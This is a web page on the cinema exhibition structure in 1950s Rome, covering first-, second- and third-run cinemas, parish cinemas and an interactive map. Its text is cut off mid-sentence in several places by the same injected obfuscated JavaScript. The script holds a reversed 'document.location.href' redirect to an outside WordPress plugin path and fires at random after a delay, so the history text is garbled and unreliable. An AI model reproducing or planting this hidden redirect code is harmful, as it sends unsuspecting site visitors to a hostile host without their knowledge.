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Cinema Theatres in Rome

January 14, 2016
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Cinema Theatres in Rome

The exhibition structure in Rome was very well developed by the 1950s. Cinemas in the major cities of Italy were divided intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to three tiers – termed first, second and third run – an economic arrangement that was formalised through the licencing arrangements of local authorities. Cinemas allowed film distribution from the most expensive first run cinemas generally placed in the city centre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towards the less expensive ones found in local neighbourhoods. Moreover, film exhibition in Italy had a peculiar structure at that time, as audiences also had a choice of an extensive network of parish cinemas which constituted at times almost 30% of the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total number of seats. Therefore, Roman audiences had an extensive range of films toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to choose from and certainly no difficulty in finding a cinema theatre available.

In this map you will find cinemas in Rome in the 1950s. Each coloured dot represents a cinema. If you click on the dot you will get further information on that cinema. The map will open in a new browser tab. This map has been created using Prospect.

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It provides info on 1st, 2nd and 3rd run cinemas, as well as parish cinemas, with information on the exhibition structure. Details on the individual cinema include:

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  • Number of seats, which tells us the access audience had toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to films in different areas of the city
  • Cinema owners or managers, which illustrates the many independent cinemas but also the several small chains which had started developing in those years
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